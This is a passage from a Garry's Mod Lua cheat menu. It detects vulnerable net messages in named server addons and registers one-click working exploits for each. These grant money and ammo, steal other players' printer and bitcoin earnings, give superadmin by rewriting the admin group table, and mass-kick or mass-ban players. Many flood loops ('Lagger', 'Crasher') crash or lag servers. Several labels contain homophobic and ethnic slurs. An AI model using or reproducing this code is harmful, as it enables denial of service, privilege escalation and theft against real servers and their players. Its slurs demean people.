1004 end
1005
1006 if id:IsHovered() then
1007 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1008 surface.SetDrawColor(Color(0, 0, 0, 255))
1009 surface.DrawOutlinedRect(0, 0, id:GetSize())
1010 surface.DrawOutlinedRect(0, 25, id:GetSize())
1011 else
1012 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1013 surface.SetDrawColor(Color(0, 0, 0, 255))
1014 surface.DrawOutlinedRect(0, 0, id:GetSize())
1015 surface.DrawOutlinedRect(0, 25, id:GetSize())
1016 end
1017 end
1018 end
1019
1020 --////////////////// [EXPLOITS] ////////////////////
1021 status = ValidNetString("TCBBuyAmmo")
1022
1023 if (status) then
1024 ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
1025
1026 addExploit("1", "Free Ammo", "Gets All Ammo Types", function()
1027 surface.PlaySound("garrysmod/ui_click.wav")
1028 ECPrint("Getting Le Ammo")
1029
1030 for k, v in pairs(GAMEMODE.AmmoTypes) do
1031 net.Start("TCBBuyAmmo")
1032 net.WriteTable({nil, v.ammoType, nil, "0", "999999"})
1033 net.SendToServer()
1034 end
1035 end)
1036 end
1037
1038 status = ValidNetString("DataSend")
1039
1040 if (status) then
1041 ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
1042
1043 addExploit("2", "Steal All Monies #1", "Takes money from printers", function()
1044 surface.PlaySound("garrysmod/ui_click.wav")
1045
1046 for k, v in pairs(ents.GetAll()) do
1047 if v:GetClass() == "adv_moneyprinter" then
1048 ECPrint("Collecting Money")
1049 net.Start("DataSend")
1050 net.WriteFloat(2)
1051 net.WriteEntity(v)
1052 net.WriteEntity(LocalPlayer())
1053 net.SendToServer()
1054 end
1055 end
1056 end)
1057 end
1058
1059 status = ValidNetString("FarmingmodSellItems")
1060
1061 if (status) then
1062 ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
1063
1064 addExploit("3", "Free Money", "An exploit in the Farming Mod", function()
1065 surface.PlaySound("garrysmod/ui_click.wav")
1066 ECPrint("Enjoy the b1g monies")
1067 net.Start("FarmingmodSellItems")
1068
1069 net.WriteTable({
1070 Cost = 10,
1071 CropModel = "models/props/eryk/garlic.mdl",
1072 CropType = 2,
1073 Info = "Garlic Seed",
1074 Model = "models/props/eryk/seedbag.mdl",
1075 Name = "Garlic",
1076 Quality = 4,
1077 Sell = 99999,
1078 Type = "Seed"
1079 })
1080
1081 net.WriteInt(1, 16)
1082 net.SendToServer()
1083 end)
1084 end
1085
1086 status = ValidNetString("start_wd_emp")
1087
1088 if (status) then
1089 ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
1090
1091 addExploit("4", "Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
1092 surface.PlaySound("garrysmod/ui_click.wav")
1093 ECNotify("Hacking Keypads")
1094 net.Start("start_wd_emp")
1095 net.SendToServer()
1096 end)
1097 end
1098
1099 status = ValidNetString("duelrequestguiYes")
1100
1101 if (status) then
1102 ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
1103
1104 addExploit("5", "Get Money", "Duel Exploit", function()
1105 surface.PlaySound("garrysmod/ui_click.wav")
1106 ECNotify("getting ez monies")
1107 net.Start("duelrequestguiYes")
1108 net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999, 32)
1109 net.WriteEntity(table.Random(player.GetAll()))
1110 net.WriteString("Crossbow")
1111 net.SendToServer()
1112 end)
1113 end
1114
1115 status = ValidNetString("DarkRP_Kun_ForceSpawn")
1116
1117 if (status) then
1118 ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
1119
1120 addExploit("6", "Respawn #1", "Just respawn", function()
1121 surface.PlaySound("garrysmod/ui_click.wav")
1122 ECPrint("Respawn")
1123 net.Start("DarkRP_Kun_ForceSpawn")
1124 net.SendToServer()
1125 end)
1126 end
1127
1128 status = ValidNetString("SyncPrinterButtons76561198056171650")
1129
1130 if (status) then
1131 ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
1132
1133 addExploit("7", "Steal All Monies #2", "Takes money from printers", function()
1134 surface.PlaySound("garrysmod/ui_click.wav")
1135 ECPrint("Collecting Money")
1136
1137 for k, v in pairs(ents.GetAll()) do
1138 if (v:GetClass() == "adv_moneyprinter") then
1139 net.Start("SyncPrinterButtons76561198056171650")
1140 net.WriteEntity(v)
1141 net.WriteUInt(2, 4)
1142 net.SendToServer()
1143 end
1144 end
1145 end)
1146 end
1147
1148 ---------------------------------------------------------------------------------------------
1149 local function report()
1150 for i = 1, 2000 do
1151 net.Start("DL_Answering")
1152 net.SendToServer()
1153 end
1154 end
1155
1156 if (Damagelog) then
1157 ECPrint("Found Exploit: Kick All Players")
1158 reportSpam = 0
1159
1160 addExploit("1337", "Kick All Players", "Kicks all players", function()
1161 surface.PlaySound("garrysmod/ui_click.wav")
1162
1163 if (reportSpam == 0) then
1164 ECNotify("Starting Kicker")
1165 reportSpam = 1
1166 timer.Create("reportSpammer", 0.05, 0, report)
1167 else
1168 ECNotify("Stopping Kicker")
1169 reportSpam = 0
1170 timer.Remove("reportSpammer")
1171 end
1172 end)
1173 end
1174
1175 ----------------------------------------------------------------------------------------------
1176 status = ValidNetString("SimplicityAC_aysent")
1177
1178 if (status) then
1179 ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
1180
1181 addExploit("8", "Crash #1", "Will instantly crash the server", function()
1182 surface.PlaySound("garrysmod/ui_click.wav")
1183 ECPrint("Goodbye Server")
1184 local tbl = {}
1185
1186 for i = 1, 400 do
1187 tbl[i] = i
1188 end
1189
1190 net.Start("SimplicityAC_aysent")
1191 net.WriteUInt(1, 8)
1192 net.WriteUInt(4294967295, 32)
1193 net.WriteTable(tbl)
1194 net.SendToServer()
1195 end)
1196 end
1197
1198 status = ValidNetString("RevivePlayer")
1199
1200 if (status) then
1201 ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
1202
1203 addExploit("9", "Reanimation #1", "Instant revival", function()
1204 surface.PlaySound("garrysmod/ui_click.wav")
1205
1206 if not timer.Exists("reanimation1") then
1207 ECNotify("Enabled")
1208
1209 timer.Create("reanimation1", 0.5, 0, function()
1210 if not LocalPlayer():Alive() then
1211 net.Start("RevivePlayer")
1212 net.WriteEntity(LocalPlayer())
1213 net.SendToServer()
1214 end
1215 end)
1216 else
1217 timer.Remove("reanimation1")
1218 ECNotify("Disabled")
1219 end
1220 end)
1221 end
1222
1223 status = ValidNetString("NLRKick")
1224
1225 if (status) then
1226 ECPrint("Found Exploit: Kick Everyone [NLRKick]")
1227
1228 addExploit("10", "Kick Everyone", "kick all the beaners", function()
1229 surface.PlaySound("garrysmod/ui_click.wav")
1230 ECNotify("Kicking All")
1231
1232 for k, v in pairs(player.GetAll()) do
1233 if v ~= LocalPlayer() then
1234 net.Start("NLRKick")
1235 net.WriteEntity(v)
1236 net.SendToServer()
1237 end
1238 end
1239 end)
1240 end
1241
1242 status = ValidNetString("timebombDefuse")
1243
1244 if (status) then
1245 ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
1246
1247 addExploit("11", "Delete All Props", "props = dead", function()
1248 surface.PlaySound("garrysmod/ui_click.wav")
1249 ECNotify("Props De_Stroyed")
1250
1251 for k, v in pairs(ents.GetAll()) do
1252 net.Start("timebombDefuse")
1253 net.WriteEntity(v)
1254 net.WriteBool(true)
1255 net.SendToServer()
1256 end
1257 end)
1258 end
1259
1260 status = ValidNetString("NDES_SelectedEmblem")
1261
1262 if (status) then
1263 ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
1264
1265 addExploit("12", "Lagger #2", "oof yuh get l4gged", function()
1266 surface.PlaySound("garrysmod/ui_click.wav")
1267
1268 if not timer.Exists("lagger2") then
1269 timer.Create("lagger2", 0.5, 0, function()
1270 for i = 1, 2000 do
1271 net.Start("NDES_SelectedEmblem", true)
1272 net.WriteString("seized")
1273 net.SendToServer()
1274 end
1275 end)
1276
1277 ECNotify("Starting Lagger")
1278 else
1279 timer.Remove("lagger2")
1280 ECNotify("Stopping Lagger")
1281 end
1282 end)
1283 end
1284
1285 status = ValidNetString("Morpheus.StaffTracker")
1286
1287 if (status) then
1288 ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
1289
1290 addExploit("13", "Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
1291 surface.PlaySound("garrysmod/ui_click.wav")
1292
1293 if not timer.Exists("crasher1") then
1294 timer.Create("crasher1", 0.5, 0, function()
1295 for i = 1, 2000 do
1296 net.Start("Morpheus.StaffTracker")
1297 net.SendToServer()
1298 end
1299 end)
1300
1301 ECNotify("Crashing Server")
1302 else
1303 timer.Remove("crasher1")
1304 ECNotify("Canceling Crasher")
1305 end
1306 end)
1307 end
1308
1309 status = ValidNetString("egg")
1310
1311 if (status) then
1312 ECPrint("Found Exploit: Get Easter Egg")
1313
1314 addExploit("14", "Get Easter Egg", "ez eggs", function()
1315 surface.PlaySound("garrysmod/ui_click.wav")
1316 RunConsoleCommand("say", "4bigz")
1317 RunConsoleCommand("cc_egg2")
1318 net.Start("egg")
1319 net.SendToServer()
1320 ECNotify("Gave Easter Egg")
1321 end)
1322 end
1323
1324 status = ValidNetString("pplay_deleterow")
1325
1326 if (status) then
1327 ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
1328
1329 addExploit("15", "GET SUPERADMIN", "Rejoin game after clicking", function()
1330 surface.PlaySound("garrysmod/ui_click.wav")
1331 local id = LocalPlayer():SteamID()
1332 local tbl = {}
1333 tbl.name = "FAdmin_PlayerGroup"
1334 tbl.where = {"steamid", tostring(id)}
1335 net.Start("pplay_deleterow")
1336 net.WriteTable(tbl)
1337 net.SendToServer()
1338 local tbl = {}
1339 tbl.tblname = "FAdmin_PlayerGroup"
1340 tbl.tblinfo = {tostring(id), "superadmin"}
1341 net.Start("pplay_addrow")
1342 net.WriteTable(tbl)
1343 net.SendToServer()
1344 ECNotify("promotion ;)")
1345 end)
1346 end
1347
1348 -- ttt report bypass by daddy grampa
1349 local function CheckChild(pan)
1350 local title = "You have been reported! Please answer all your reports."
1351 if not pan or not IsValid(pan) then return end
1352
1353 if pan.GetTitle and pan:GetTitle() == title then
1354 pan:Remove()
1355 print("Removed warning box")
1356
1357 return
1358 end
1359
1360 for k, v in pairs(pan:GetChildren()) do
1361 if v.GetTitle and v:GetTitle() == title then
1362 v:Remove()
1363 print("Removed warning box")
1364
1365 return
1366 end
1367
1368 if #v:GetChildren() > 0 then
1369 CheckChild(v)
1370 end
1371 end
1372 end
1373
1374 if (engine.ActiveGamemode() == "terrortown") then
1375 bypass = 0
1376 ECPrint("Found Exploit: TTT Report Bypass")
1377
1378 addExploit("16", "Toggle TTT Report Bypass", "b1g bypass amirite", function()
1379 surface.PlaySound("garrysmod/ui_click.wav")
1380
1381 if (bypass == 0) then
1382 hook.Add("Think", "remove_ttt_report", function()
1383 local pan = vgui.GetHoveredPanel()
1384 CheckChild(pan)
1385 end)
1386
1387 ECNotify("Enabled Report Bypass")
1388 bypass = 1
1389 else
1390 hook.Remove("Think", "remove_ttt_report")
1391 ECNotify("Disabled Report Bypass")
1392 bypass = 0
1393 end
1394 end)
1395 end
1396
1397 status = ValidNetString("EZS_PlayerTag")
1398
1399 if (status) then
1400 ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
1401
1402 addExploit("17", "Lagger #3", "b1g lags my duder", function()
1403 surface.PlaySound("garrysmod/ui_click.wav")
1404
1405 if not timer.Exists("lagger3") then
1406 timer.Create("lagger3", 0.5, 0, function()
1407 for k, v in pairs(player.GetAll()) do
1408 net.Start("EZS_PlayerTag", true)
1409 net.WriteEntity(v)
1410 net.WriteString("Seized")
1411 net.SendToServer()
1412
1413 timer.Simple(2, function()
1414 net.Start("EZS_PlayerTag", true)
1415 net.WriteEntity(v)
1416 net.WriteString("Seized")
1417 net.SendToServer()
1418 end)
1419 end
1420 end)
1421
1422 ECNotify("Starting Lagger")
1423 else
1424 timer.Remove("lagger3")
1425 ECNotify("Stopping Lagger")
1426 end
1427 end)
1428 end
1429
1430 if ConVarExists("advttt_spreadovertime_enabled") then
1431 ECPrint("Found Exploit: Remove Spread")
1432
1433 addExploit("18", "Remove Spread", "pSilent No Spread", function()
1434 surface.PlaySound("garrysmod/ui_click.wav")
1435 hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
1436 ECNotify("Spread Removed")
1437 end)
1438 end
1439
1440 status = ValidNetString("fp_as_doorHandler")
1441
1442 if (status) then
1443 ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
1444
1445 addExploit("19", "Open Door", "Force open the door you are looking at", function()
1446 surface.PlaySound("garrysmod/ui_click.wav")
1447 net.Start("fp_as_doorHandler")
1448 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1449 net.WriteString("unlock")
1450 net.SendToServer()
1451 ECNotify("Opened Door")
1452 end)
1453 end
1454
1455 status = ValidNetString("fp_as_doorHandler")
1456
1457 if (status) then
1458 addExploit("20", "Close Door", "Force close the door you are looking at", function()
1459 surface.PlaySound("garrysmod/ui_click.wav")
1460 net.Start("fp_as_doorHandler")
1461 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1462 net.WriteString("lock")
1463 net.SendToServer()
1464 ECNotify("Opened Door")
1465 end)
1466 end
1467
1468 status = ValidNetString("fp_as_doorHandler")
1469
1470 if (status) then
1471 addExploit("21", "Remove Door Owner", "Force remove door owner of the door you are looking at", function()
1472 surface.PlaySound("garrysmod/ui_click.wav")
1473 local door = LocalPlayer():GetEyeTrace().Entity
1474 local doorOwner = door:getDoorData()["owner"]
1475 net.Start("fp_as_doorHandler")
1476 net.WriteEntity(door)
1477 net.WriteString("removeOwner")
1478 net.WriteDouble(doorOwner)
1479 net.SendToServer()
1480 ECNotify("Opened Door")
1481 end)
1482 end
1483
1484 status = ValidNetString("VJSay")
1485
1486 if (status) then
1487 ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
1488
1489 addExploit("22", "VJSay [OLD]", "", function()
1490 surface.PlaySound("garrysmod/ui_click.wav")
1491 inputFrame2Exists = true
1492 inputFrame2 = vgui.Create("DFrame")
1493 inputFrame2:SetTitle("Enter your message!")
1494 inputFrame2:SetSize(400, 75)
1495 inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230)
1496 inputFrame2:SetDraggable(false)
1497 inputFrame2:ShowCloseButton(false)
1498 inputFrame2:MakePopup()
1499
1500 inputFrame2.Paint = function(self, w, h)
1501 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
1502 end
1503
1504 local TextEntry2 = vgui.Create("DTextEntry", inputFrame2)
1505 TextEntry2:SetSize(380, 30)
1506 TextEntry2:SetPos(inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2)
1507 TextEntry2:SetText("Broadcast Msg")
1508
1509 TextEntry2.OnEnter = function(self)
1510 surface.PlaySound("garrysmod/ui_click.wav")
1511 ECNotify("Broadcasting")
1512 net.Start("VJSay")
1513 net.WriteEntity(nil)
1514 net.WriteString(TextEntry2:GetValue())
1515 net.WriteString("")
1516 net.SendToServer()
1517 inputFrame2:SetVisible(false)
1518 end
1519 end)
1520 end
1521
1522 status = ValidNetString("ply_pick_shit")
1523
1524 if (status) then
1525 ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
1526
1527 addExploit("23", "free money amirite", "stacks in ur wallet generator", function()
1528 surface.PlaySound("garrysmod/ui_click.wav")
1529
1530 for k, v in pairs(player.GetAll()) do
1531 for i = 1, 255 do
1532 net.Start("ply_pick_shit")
1533 net.WriteEntity(LocalPlayer())
1534 net.WriteEntity(v)
1535 net.SendToServer()
1536 end
1537 end
1538
1539 ECNotify("enjoy monies")
1540 end)
1541 end
1542
1543 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
1544
1545 if (status) then
1546 ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
1547
1548 addExploit("24", "Crasher #2", "big lagz", function()
1549 surface.PlaySound("garrysmod/ui_click.wav")
1550
1551 if not timer.Exists("crasher2") then
1552 timer.Create("crasher2", 0, 0, function()
1553 for i = 1, 400 do
1554 net.Start("pac.net.TouchFlexes.ClientNotify")
1555 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1556 net.SendToServer()
1557 end
1558 end)
1559
1560 ECNotify("Starting Crasher")
1561 else
1562 timer.Remove("crasher2")
1563 ECNotify("Stopping Crasher")
1564 end
1565 end)
1566 end
1567
1568 status = ValidNetString("BM2.Command.SellBitcoins")
1569
1570 if (status) then
1571 ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
1572
1573 addExploit("25", "Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
1574 surface.PlaySound("garrysmod/ui_click.wav")
1575
1576 for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
1577 net.Start("BM2.Command.SellBitcoins")
1578 net.WriteEntity(v)
1579 net.SendToServer()
1580 end
1581
1582 for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
1583 net.Start("BM2.Command.SellBitcoins")
1584 net.WriteEntity(v)
1585 net.SendToServer()
1586 end
1587
1588 for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
1589 net.Start("BM2.Command.SellBitcoins")
1590 net.WriteEntity(v)
1591 net.SendToServer()
1592 end
1593 end)
1594 end
1595
1596 status = ValidNetString("BM2.Command.Eject")
1597
1598 if (status) then
1599 ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
1600
1601 addExploit("26", "Lagger #4", "discovered by triggered", function()
1602 surface.PlaySound("garrysmod/ui_click.wav")
1603
1604 if not timer.Exists("lagger4") then
1605 timer.Create("lagger4", 0, 0, function()
1606 for i = 1, 1000 do
1607 net.Start("BM2.Command.Eject", true)
1608 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
1609 net.SendToServer()
1610 end
1611 end)
1612
1613 ECNotify("Starting Lagger")
1614 else
1615 timer.Remove("lagger4")
1616 ECNotify("Stopping Lagger")
1617 end
1618 end)
1619 end
1620
1621 status = ValidNetString("BM2.Command.SellBitcoins")
1622
1623 if (status) then
1624 ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
1625
1626 addExploit("27", "Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
1627 surface.PlaySound("garrysmod/ui_click.wav")
1628
1629 timer.Create("lagger5", 0, 0, function()
1630 for i = 1, 1000 do
1631 net.Start("BM2.Command.SellBitcoins", true)
1632 net.WriteEntity(LocalPlayer())
1633 net.SendToServer()
1634 end
1635 end)
1636 end)
1637 end
1638
1639 status = ValidNetString("ItemStoreUse")
1640
1641 if (status) then
1642 ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
1643
1644 addExploit("28", "Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
1645 surface.PlaySound("garrysmod/ui_click.wav")
1646
1647 if not timer.Exists("lagger6") then
1648 timer.Create("lagger6", 0, 0, function()
1649 for i = 1, 1000 do
1650 net.Start("ItemStoreUse", true)
1651 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1652 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1653 net.SendToServer()
1654 end
1655 end)
1656
1657 ECNotify("Starting Lagger")
1658 else
1659 timer.Remove("lagger6")
1660 ECNotify("Stopping Lagger")
1661 end
1662 end)
1663 end
1664
1665 status = ValidNetString("ItemStoreDrop")
1666
1667 if (status) then
1668 ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
1669
1670 addExploit("29", "Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
1671 surface.PlaySound("garrysmod/ui_click.wav")
1672
1673 if not timer.Exists("lagger7") then
1674 timer.Create("lagger7", 0, 0, function()
1675 for i = 1, 1000 do
1676 net.Start("ItemStoreDrop", true)
1677 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1678 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1679 net.SendToServer()
1680 end
1681 end)
1682
1683 ECNotify("Starting Lagger")
1684 else
1685 timer.Remove("lagger7")
1686 ECNotify("Stopping Lagger")
1687 end
1688 end)
1689 end
1690
1691 status = ValidNetString("gMining.sellMineral")
1692
1693 if (status) then
1694 ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
1695
1696 addExploit("30", "Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
1697 surface.PlaySound("garrysmod/ui_click.wav")
1698 ECNotify("Starting")
1699
1700 if not timer.Exists("lagger8") then
1701 timer.Create("lagger8", 0, 0, function()
1702 for i = 1, 1000 do
1703 net.Start("gMining.sellMineral", true)
1704 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
1705 net.WriteString(" ")
1706 net.SendToServer()
1707 end
1708 end)
1709 end
1710 end)
1711 end
1712
1713 status = ValidNetString("PlayerUseItem")
1714
1715 if (status) then
1716 ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
1717
1718 addExploit("31", "Lagger #9", "discovered by triggered", function()
1719 surface.PlaySound("garrysmod/ui_click.wav")
1720
1721 if not timer.Exists("lagger9") then
1722 timer.Create("lagger9", 0, 0, function()
1723 for i = 1, 800 do
1724 net.Start("PlayerUseItem", true)
1725 net.WriteInt(99999999999999999999999999999999999999999999999, 32)
1726 net.SendToServer()
1727 end
1728 end)
1729
1730 ECNotify("Starting Lagger")
1731 else
1732 timer.Remove("lagger9")
1733 ECNotify("Stopping Lagger")
1734 end
1735 end)
1736 end
1737
1738 status = ValidNetString("RequestMAPSize")
1739
1740 if (status) then
1741 ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
1742
1743 addExploit("32", "Lagger #10", "1tap server", function()
1744 surface.PlaySound("garrysmod/ui_click.wav")
1745
1746 if not timer.Exists("lagger10") then
1747 timer.Create("lagger10", 0, 0, function()
1748 for i = 1, 400 do
1749 net.Start("RequestMAPSize", true)
1750 net.SendToServer()
1751 end
1752 end)
1753
1754 ECNotify("Starting Lagger")
1755 else
1756 timer.Remove("lagger10")
1757 ECNotify("Stopping Lagger")
1758 end
1759 end)
1760 end
1761
1762 status = ValidNetString("MG2.Request.GangRankings")
1763
1764 if (status) then
1765 ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
1766
1767 addExploit("33", "Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
1768 surface.PlaySound("garrysmod/ui_click.wav")
1769
1770 if not timer.Exists("lagger11") then
1771 timer.Create("lagger11", 0, 0, function()
1772 for i = 1, 1000 do
1773 net.Start("MG2.Request.GangRankings", true)
1774 net.SendToServer()
1775 end
1776 end)
1777
1778 ECNotify("Starting Lagger")
1779 else
1780 timer.Remove("lagger11")
1781 ECNotify("Stopping Lagger")
1782 end
1783 end)
1784 end
1785
1786 status = ValidNetString("dLogsGetCommand")
1787
1788 if (status) then
1789 ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
1790
1791 addExploit("34", "Lagger #12", "b1g lags", function()
1792 surface.PlaySound("garrysmod/ui_click.wav")
1793 ECNotify("Starting Lagger")
1794
1795 for i = 1, 7000 do
1796 net.Start("dLogsGetCommand", true)
1797
1798 net.WriteTable({
1799 cmd = "+forward",
1800 args = " "
1801 })
1802
1803 net.SendToServer()
1804 end
1805 end)
1806 end
1807
1808 status = ValidNetString("ats_send_toServer")
1809
1810 if (status) then
1811 ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
1812
1813 addExploit("35", "Lagger #13", "big lags", function()
1814 surface.PlaySound("garrysmod/ui_click.wav")
1815 ECNotify("Starting Lagger")
1816
1817 for i = 1, 2000 do
1818 net.Start("ats_send_toServer", true)
1819 net.WriteTable({" ", "Open", nil, nil, nil, nil})
1820 net.SendToServer()
1821 end
1822 end)
1823 end
1824
1825 status = ValidNetString("shopguild_buyitem")
1826
1827 if (status) then
1828 ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
1829
1830 addExploit("36", "Guild Exploit", "increases the level of your guild", function()
1831 surface.PlaySound("garrysmod/ui_click.wav")
1832 ECPrint("Guild level successfully upgraded")
1833 local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1834
1835 if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then
1836 level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1837 end
1838
1839 net.Start("shopguild_buyitem")
1840 net.WriteString("lvl")
1841 net.WriteDouble(level)
1842 net.WriteString("Guild Level " .. level)
1843 net.WriteEntity(LocalPlayer())
1844 net.WriteUInt(2, 4)
1845 net.WriteDouble(0)
1846 net.SendToServer()
1847 level = level + 1
1848 end)
1849 end
1850
1851 status = ValidNetString("VoteKickNO")
1852
1853 if (status) then
1854 ECPrint("Found Exploit: Votekick [VoteKickNO]")
1855
1856 addExploit("37", "Votekick", "kicking all", function()
1857 surface.PlaySound("garrysmod/ui_click.wav")
1858
1859 for k, v in pairs(player.GetAll()) do
1860 net.Start("VoteKickNO")
1861 net.WriteFloat(v:EntIndex())
1862 net.WriteFloat(6)
1863 net.SendToServer()
1864 net.Start("VoteKickNO")
1865 net.WriteFloat(v:EntIndex())
1866 net.WriteFloat(6)
1867 net.SendToServer()
1868 net.Start("VoteKickNO")
1869 net.WriteFloat(v:EntIndex())
1870 net.WriteFloat(6)
1871 net.SendToServer()
1872 net.Start("VoteKickNO")
1873 net.WriteFloat(v:EntIndex())
1874 net.WriteFloat(6)
1875 net.SendToServer()
1876 end
1877 end)
1878 end
1879
1880 status = ValidNetString("VoteBanNO")
1881
1882 if (status) then
1883 ECPrint("Found Exploit: Voteban [VoteBanNO]")
1884
1885 addExploit("38", "Voteban", "bans all", function()
1886 surface.PlaySound("garrysmod/ui_click.wav")
1887
1888 for k, v in pairs(player.GetAll()) do
1889 net.Start("VoteBanNO")
1890 net.WriteFloat(v:EntIndex())
1891 net.WriteFloat(8)
1892 net.SendToServer()
1893 net.Start("VoteBanNO")
1894 net.WriteFloat(v:EntIndex())
1895 net.WriteFloat(8)
1896 net.SendToServer()
1897 net.Start("VoteBanNO")
1898 net.WriteFloat(v:EntIndex())
1899 net.WriteFloat(8)
1900 net.SendToServer()
1901 end
1902 end)
1903 end
1904
1905 status = ValidNetString("NewReport")
1906
1907 if (status) then
1908 ECPrint("Found Exploit: Custom Report [NewReport]")
1909
1910 addExploit("39", "Custom Report", "Report all faggots", function()
1911 surface.PlaySound("garrysmod/ui_click.wav")
1912
1913 for k, v in pairs(player.GetAll()) do
1914 net.Start("NewReport")
1915 net.WriteType(ply)
1916 net.WriteInt(8, 5)
1917 net.WriteString("hahaha")
1918 net.SendToServer()
1919 end
1920 end)
1921 end
1922
1923 status = ValidNetString("Warn_CreateWarn")
1924
1925 if (status) then
1926 ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
1927
1928 addExploit("40", "Custom Warn", "Warn all faggots", function()
1929 surface.PlaySound("garrysmod/ui_click.wav")
1930
1931 for k, v in pairs(player.GetAll()) do
1932 net.Start("Warn_CreateWarn")
1933 net.WriteEntity(ply)
1934 net.WriteString("hahaha")
1935 net.SendToServer()
1936 end
1937 end)
1938 end
1939
1940 status = ValidNetString("showDisguiseHUD")
1941
1942 if (status) then
1943 ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
1944
1945 addExploit("41", "Disguise #2", "allows you to disguise as any job", function()
1946 surface.PlaySound("garrysmod/ui_click.wav")
1947 ECPrint("Choose a disguise")
1948 PlayerCount = 0
1949
1950 for k, v in pairs(player.GetAll()) do
1951 PlayerCount = PlayerCount + 1
1952 end
1953
1954 local TeamNum
1955 local disguise_Model_Preview_Default
1956 local base = vgui.Create("DFrame")
1957 base:SetSize(300, 420)
1958 base:Center()
1959 base:SetTitle(" ")
1960 base:ShowCloseButton(false)
1961 base:MakePopup()
1962
1963 function base:Paint()
1964 draw.RoundedBoxEx(5, 0, 0, base:GetWide(), base:GetTall(), Color(20, 20, 20, 200), false, true)
1965 draw.RoundedBox(0, 0, 30, base:GetWide(), base:GetTall() - 60, Color(10, 10, 10, 200))
1966 draw.RoundedBox(0, 0, 30, base:GetWide(), 5, Color(255, 255, 255, 255))
1967 draw.RoundedBox(0, 0, 390, base:GetWide(), 5, Color(255, 255, 255, 255))
1968 draw.SimpleText("Disguise", "DisFontBold", base:GetWide() / 4, -1)
1969 end
1970
1971 local ExitButton = vgui.Create("DButton", base)
1972 ExitButton:SetPos(base:GetWide() + 4 - ExitButton:GetWide())
1973 ExitButton:SetText("Close")
1974 ExitButton:SetSize(60, 20)
1975 ExitButton:SetFont("DermaDefaultBold")
1976
1977 ExitButton.Paint = function()
1978 if ExitButton.Hovered then
1979 if ExitButton:IsDown() then
1980 ExitButton:SetTextColor(Color(200, 200, 200, 200))
1981 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 200), false, true)
1982 else
1983 ExitButton:SetTextColor(Color(255, 255, 255, 255))
1984 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 255), false, true)
1985 end
1986 else
1987 ExitButton:SetTextColor(Color(20, 20, 20, 200))
1988 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200, 0, 0, 200), false, true)
1989 end
1990 end
1991
1992 function ExitButton.DoClick()
1993 base:Remove()
1994 net.Start("changeToPhysgun")
